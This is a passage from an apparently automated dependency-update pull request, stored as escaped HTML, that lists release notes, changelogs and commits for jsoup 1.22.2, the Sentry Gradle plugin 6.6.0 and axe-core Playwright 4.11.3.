--\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eCleaner\u003c/code\u003e no longer makes relative URL attributes in the input document absolute when cleaning or validating a \u003ccode\u003eDocument\u003c/code\u003e. URL normalization now applies only to the cleaned output, and \u003ccode\u003eSafelist.isSafeAttribute()\u003c/code\u003e is side effect free. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2475\"\u003e#2475\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eCleaner\u003c/code\u003e no longer duplicates enforced attributes when the input \u003ccode\u003eDocument\u003c/code\u003e preserves attribute case. A case-variant source attribute is now replaced by the enforced attribute in the cleaned output. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2476\"\u003e#2476\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eIf a per-request SOCKS proxy is configured, jsoup now avoids using the JDK \u003ccode\u003eHttpClient\u003c/code\u003e, because the JDK would silently ignore that proxy and attempt to connect directly. Those requests now fall back to the legacy \u003ccode\u003eHttpURLConnection\u003c/code\u003e transport instead, which does support SOCKS. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2468\"\u003e#2468\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eConnection.Response.streamParser()\u003c/code\u003e and \u003ccode\u003eDataUtil.streamParser(Path, ...)\u003c/code\u003e could fail on small inputs without a declared charset, if the initial 5 KB charset sniff fully consumed the input and closed it before the stream parse began. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2483\"\u003e#2483\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eIn XML mode, doctypes with an internal subset, such as \u003ccode\u003e\u0026lt;!DOCTYPE root [\u0026lt;!ENTITY name \u0026quot;value\u0026quot;\u0026gt;]\u0026gt;\u003c/code\u003e, now round-trip correctly. The subset is preserved as raw text only; entities are not expanded and external DTDs are not loaded. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2486\"\u003e#2486\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBuild Changes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMigrated the integration test server from Jetty to Netty, which actively maintains support for our minimum JDK target (8). \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2491\"\u003e#2491\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eMy sincere thanks to everyone who contributed to this release!\nIf you have any suggestions for the next release, I would love to hear them; please get in touch via \u003ca href=\"https://github.com/jhy/jsoup/discussions\"\u003ejsoup discussions\u003c/a\u003e, or with me \u003ca href=\"https://jhedley.com/\"\u003edirectly\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eYou can also \u003c!-- raw HTML omitted --\u003efollow me\u003c!-- raw HTML omitted --\u003e (\u003c!-- raw HTML omitted --\u003e\u003c!-- raw HTML omitted --\u003e@\u003ca href=\"mailto:jhy@tilde.zone\"\u003ejhy@tilde.zone\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c!-- raw HTML omitted --\u003e) on Mastodon / Fediverse to receive occasional notes about jsoup releases.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jhy/jsoup/blob/master/CHANGES.md\"\u003eorg.jsoup:jsoup's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.22.2 (2026-Apr-20)\u003c/h2\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExpanded and clarified \u003ccode\u003eNodeTraversor\u003c/code\u003e support for in-place DOM rewrites during \u003ccode\u003eNodeVisitor.head()\u003c/code\u003e. Current-node edits such as \u003ccode\u003eremove\u003c/code\u003e, \u003ccode\u003ereplace\u003c/code\u003e, and \u003ccode\u003eunwrap\u003c/code\u003e now recover more predictably, while traversal stays within the original root subtree. This makes single-pass tree cleanup and normalization visitors easier to write, for example when unwrapping presentational elements or replacing text nodes as you walk the DOM. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2472\"\u003e#2472\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDocumentation: clarified that a configured \u003ccode\u003eCleaner\u003c/code\u003e may be reused across concurrent threads, and that shared \u003ccode\u003eSafelist\u003c/code\u003e instances should not be mutated while in use. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2473\"\u003e#2473\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdated the default HTML \u003ccode\u003eTagSet\u003c/code\u003e for current HTML elements: added \u003ccode\u003edialog\u003c/code\u003e, \u003ccode\u003esearch\u003c/code\u003e, \u003ccode\u003epicture\u003c/code\u003e, and \u003ccode\u003eslot\u003c/code\u003e; made \u003ccode\u003eins\u003c/code\u003e, \u003ccode\u003edel\u003c/code\u003e, \u003ccode\u003ebutton\u003c/code\u003e, \u003ccode\u003eaudio\u003c/code\u003e, \u003ccode\u003evideo\u003c/code\u003e, and \u003ccode\u003ecanvas\u003c/code\u003e inline by default (\u003ccode\u003eTag#isInline()\u003c/code\u003e, aligned to phrasing content in the spec); and added readable \u003ccode\u003eElement.text()\u003c/code\u003e boundaries for controls and embedded objects via the new \u003ccode\u003eTag.TextBoundary\u003c/code\u003e option. This improves pretty-printing and keeps normalized text from running adjacent words together. \u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2493\"\u003e#2493\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAndroid (R8/ProGuard): added a rule to ignore the optional \u003ccode\u003ere2j\u003c/code\u003e dependency when not present. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2459\"\u003e#2459\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFixed a \u003ccode\u003eNodeTraversor\u003c/code\u003e regression in 1.21.2 where removing or replacing the current node during \u003ccode\u003ehead()\u003c/code\u003e could revisit the replacement node and loop indefinitely. The traversal docs now also clarify which inserted nodes are visited in the current pass. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2472\"\u003e#2472\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eParsing during charset sniffing no longer fails if an advisory \u003ccode\u003eavailable()\u003c/code\u003e call throws \u003ccode\u003eIOException\u003c/code\u003e, as seen on JDK 8 \u003ccode\u003eHttpURLConnection\u003c/code\u003e. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2474\"\u003e#2474\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eCleaner\u003c/code\u003e no longer makes relative URL attributes in the input document absolute when cleaning or validating a \u003ccode\u003eDocument\u003c/code\u003e. URL normalization now applies only to the cleaned output, and \u003ccode\u003eSafelist.isSafeAttribute()\u003c/code\u003e is side effect free. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2475\"\u003e#2475\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eCleaner\u003c/code\u003e no longer duplicates enforced attributes when the input \u003ccode\u003eDocument\u003c/code\u003e preserves attribute case. A case-variant source attribute is now replaced by the enforced attribute in the cleaned output. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2476\"\u003e#2476\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eIf a per-request SOCKS proxy is configured, jsoup now avoids using the JDK \u003ccode\u003eHttpClient\u003c/code\u003e, because the JDK would silently ignore that proxy and attempt to connect directly. Those requests now fall back to the legacy \u003ccode\u003eHttpURLConnection\u003c/code\u003e transport instead, which does support SOCKS. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2468\"\u003e#2468\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eConnection.Response.streamParser()\u003c/code\u003e and \u003ccode\u003eDataUtil.streamParser(Path, ...)\u003c/code\u003e could fail on small inputs without a declared charset, if the initial 5 KB charset sniff fully consumed the input and closed it before the stream parse began. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2483\"\u003e#2483\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eIn XML mode, doctypes with an internal subset, such as \u003ccode\u003e\u0026lt;!DOCTYPE root [\u0026lt;!ENTITY name \u0026quot;value\u0026quot;\u0026gt;]\u0026gt;\u003c/code\u003e, now round-trip correctly. The subset is preserved as raw text only; entities are not expanded and external DTDs are not loaded. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2486\"\u003e#2486\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBuild Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMigrated the integration test server from Jetty to Netty, which actively maintains support for our minimum JDK target (8). \u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2491\"\u003e#2491\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/ac28afe6e5bf96d39fd17c3e0a797a7585e1958c\"\u003e\u003ccode\u003eac28afe\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jsoup-1.22.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/52f2cd3ea2004b9be0e0a09021bac7ce2daf8ae4\"\u003e\u003ccode\u003e52f2cd3\u003c/code\u003e\u003c/a\u003e Improve entity example in changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/cf6ffe08616f8633ee6113b91f9d6a07acef38c6\"\u003e\u003ccode\u003ecf6ffe0\u003c/code\u003e\u003c/a\u003e Add Tag#TextBoundary option; bring TagSet to spec (\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2493\"\u003e#2493\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/2be739c1c659a1592c402a5441f8be6f7881280c\"\u003e\u003ccode\u003e2be739c\u003c/code\u003e\u003c/a\u003e Bump github/codeql-action from 4 to 4.35.1 (\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2492\"\u003e#2492\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/45de7cbc215eb3f1189d23eaf57acf6f7b1a5edf\"\u003e\u003ccode\u003e45de7cb\u003c/code\u003e\u003c/a\u003e Migrate integration test server from Jetty to Netty (\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2491\"\u003e#2491\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/1df14edbfc327a1ef309142ef5e8ed68324de320\"\u003e\u003ccode\u003e1df14ed\u003c/code\u003e\u003c/a\u003e Preserve XML doctype internal subset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/06fa52d15a22003b67dfdb3f8220cc025d493a43\"\u003e\u003ccode\u003e06fa52d\u003c/code\u003e\u003c/a\u003e Adding Contribution Guide\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/d4a8941820c037327538c30a8723ec715b67b6f6\"\u003e\u003ccode\u003ed4a8941\u003c/code\u003e\u003c/a\u003e Simplify the test; doesn't need the buffer\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/823709f519995492d9a092fe315af389616e58f8\"\u003e\u003ccode\u003e823709f\u003c/code\u003e\u003c/a\u003e Don't reuse a fully read sniffed doc for StreamParser\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/e1b0df5fec53710214cd700de38d82e1ca92bd79\"\u003e\u003ccode\u003ee1b0df5\u003c/code\u003e\u003c/a\u003e NodeFilter javadoc tweak\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/jhy/jsoup/compare/jsoup-1.22.1...jsoup-1.22.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.sentry.jvm.gradle` from 6.4.0 to 6.6.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/releases\"\u003eio.sentry.jvm.gradle's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e6.6.0\u003c/h2\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBump ComposablePreviewScanner from v0.8.1 to v0.8.2 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/pull/1174\"\u003e#1174\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sergio-sastre/ComposablePreviewScanner/blob/master/CHANGELOG.md#082\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sergio-sastre/ComposablePreviewScanner/compare/0.8.1...0.8.2\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eBump CLI from v3.4.0 to v3.4.1 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/pull/1175\"\u003e#1175\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-cli/blob/master/CHANGELOG.md#341\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-cli/compare/3.4.0...3.4.1\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e6.5.0\u003c/h2\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBump CLI from v3.3.5 to v3.4.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/pull/1156\"\u003e#1156\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-cli/blob/master/CHANGELOG.md#340\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-cli/compare/3.3.5...3.4.0\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eBump Android SDK from v8.38.0 to v8.40.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/pull/1153\"\u003e#1153\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/pull/1161\"\u003e#1161\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/blob/main/CHANGELOG.md#8400\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/compare/8.38.0...8.40.0\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/blob/main/CHANGELOG.md\"\u003eio.sentry.jvm.gradle's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e6.6.0\u003c/h2\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBump ComposablePreviewScanner from v0.8.1 to v0.9.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/pull/1174\"\u003e#1174\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/pull/1176\"\u003e#1176\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sergio-sastre/ComposablePreviewScanner/blob/master/CHANGELOG.md#090\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sergio-sastre/ComposablePreviewScanner/compare/0.8.1...0.9.0\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eBump CLI from v3.4.0 to v3.4.1 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/pull/1175\"\u003e#1175\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-cli/blob/master/CHANGELOG.md#341\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-cli/compare/3.4.0...3.4.1\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e6.5.0\u003c/h2\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBump CLI from v3.3.5 to v3.4.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/pull/1156\"\u003e#1156\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-cli/blob/master/CHANGELOG.md#340\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-cli/compare/3.3.5...3.4.0\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eBump Android SDK from v8.38.0 to v8.40.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/pull/1153\"\u003e#1153\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/pull/1161\"\u003e#1161\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/blob/main/CHANGELOG.md#8400\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/compare/8.38.0...8.40.0\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/commit/c615323c5d879dc6296d068295bbd00fb7470ae9\"\u003e\u003ccode\u003ec615323\u003c/code\u003e\u003c/a\u003e release: 6.6.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/commit/0e85cc6618a30bceea8b9df9fd19dd6b1780feaf\"\u003e\u003ccode\u003e0e85cc6\u003c/code\u003e\u003c/a\u003e chore: update plugin-build/sentry-cli.properties to 3.4.1 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/issues/1175\"\u003e#1175\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/commit/a74a5d6fc3813996d1142ac8b202570759c550aa\"\u003e\u003ccode\u003ea74a5d6\u003c/code\u003e\u003c/a\u003e chore: update plugin-build/composable-preview-scanner.properties to 0.8.2 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/issues/1\"\u003e#1\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/commit/1024da85c39fe7f479914689d311b85380777325\"\u003e\u003ccode\u003e1024da8\u003c/code\u003e\u003c/a\u003e feat(deps): Auto-update ComposablePreviewScanner version (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/issues/1173\"\u003e#1173\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/commit/e31b8344a978a09a85894f177a129f0a3a85ddb8\"\u003e\u003ccode\u003ee31b834\u003c/code\u003e\u003c/a\u003e chore(ci): Unify release build command and artifact upload (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/issues/1170\"\u003e#1170\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/commit/f2f447b995022ca702c6d3e2417a9e8d22340609\"\u003e\u003ccode\u003ef2f447b\u003c/code\u003e\u003c/a\u003e build(ci): Upload sentry-snapshots-runtime zip for craft (EME-1055) (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/issues/1169\"\u003e#1169\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/commit/8fa3d2df3c509e5502e60c2b122d6ffbcb19c9f8\"\u003e\u003ccode\u003e8fa3d2d\u003c/code\u003e\u003c/a\u003e feat(matrix): Fetch AGP\u0026lt;-\u0026gt;Kotlin compat dynamically (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/issues/1166\"\u003e#1166\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/commit/d7afb6d90a5c084ed6eb5f32901fe46687bbcbd5\"\u003e\u003ccode\u003ed7afb6d\u003c/code\u003e\u003c/a\u003e test(gradle): Add isolated-projects compatibility test (EME-1072) (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/issues/1160\"\u003e#1160\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/commit/7938856b62e8b46a1249f1475b497ef40448a3c0\"\u003e\u003ccode\u003e7938856\u003c/code\u003e\u003c/a\u003e feat(snapshots): Restructure sidecar JSON to match ingestion schema (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/issues/1162\"\u003e#1162\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/commit/055f0a6e5864179d6dad4f31c51bbad7f6449eae\"\u003e\u003ccode\u003e055f0a6\u003c/code\u003e\u003c/a\u003e refactor(snapshots): Group preview options under a previews sub-extension (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/issues/1\"\u003e#1\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/compare/6.4.0...6.6.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `au.com.dius.pact` from 4.6.20 to 4.7.1\n\nUpdates `com.deque.html.axe-core:playwright` from 4.11.1 to 4.11.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/releases\"\u003ecom.deque.html.axe-core:playwright's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease 4.11.3\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate axe-core to v4.11.2 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/580\"\u003e#580\u003c/a\u003e) (\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/f7de945a0887567a65695b2a7bfb53c16a98d914\"\u003ef7de945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate axe-core to v4.11.3 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/585\"\u003e#585\u003c/a\u003e) (\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/a20927e2945f758cc770107afbd2307cab2e8b4f\"\u003ea20927e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate axe-core to v4.11.4 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/598\"\u003e#598\u003c/a\u003e) (\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/98e2472b67e0255ed6b1fb15bb65f17b5db77050\"\u003e98e2472\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eRelease 4.11.2\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate axe-core to v4.11.2 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/580\"\u003e#580\u003c/a\u003e) (\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/f7de945a0887567a65695b2a7bfb53c16a98d914\"\u003ef7de945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate axe-core to v4.11.3 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/585\"\u003e#585\u003c/a\u003e) (\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/a20927e2945f758cc770107afbd2307cab2e8b4f\"\u003ea20927e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/blob/develop/CHANGELOG.md\"\u003ecom.deque.html.axe-core:playwright's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/compare/v4.11.2...v4.11.3\"\u003e4.11.3\u003c/a\u003e (2026-04-29)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate axe-core to v4.11.2 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/580\"\u003e#580\u003c/a\u003e) (\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/f7de945a0887567a65695b2a7bfb53c16a98d914\"\u003ef7de945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate axe-core to v4.11.3 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/585\"\u003e#585\u003c/a\u003e) (\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/a20927e2945f758cc770107afbd2307cab2e8b4f\"\u003ea20927e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate axe-core to v4.11.4 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/598\"\u003e#598\u003c/a\u003e) (\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/98e2472b67e0255ed6b1fb15bb65f17b5db77050\"\u003e98e2472\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/compare/v4.11.1...v4.11.2\"\u003e4.11.2\u003c/a\u003e (2026-04-16)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate axe-core to v4.11.2 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/580\"\u003e#580\u003c/a\u003e) (\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/f7de945a0887567a65695b2a7bfb53c16a98d914\"\u003ef7de945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate axe-core to v4.11.3 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/585\"\u003e#585\u003c/a\u003e) (\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/a20927e2945f758cc770107afbd2307cab2e8b4f\"\u003ea20927e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca 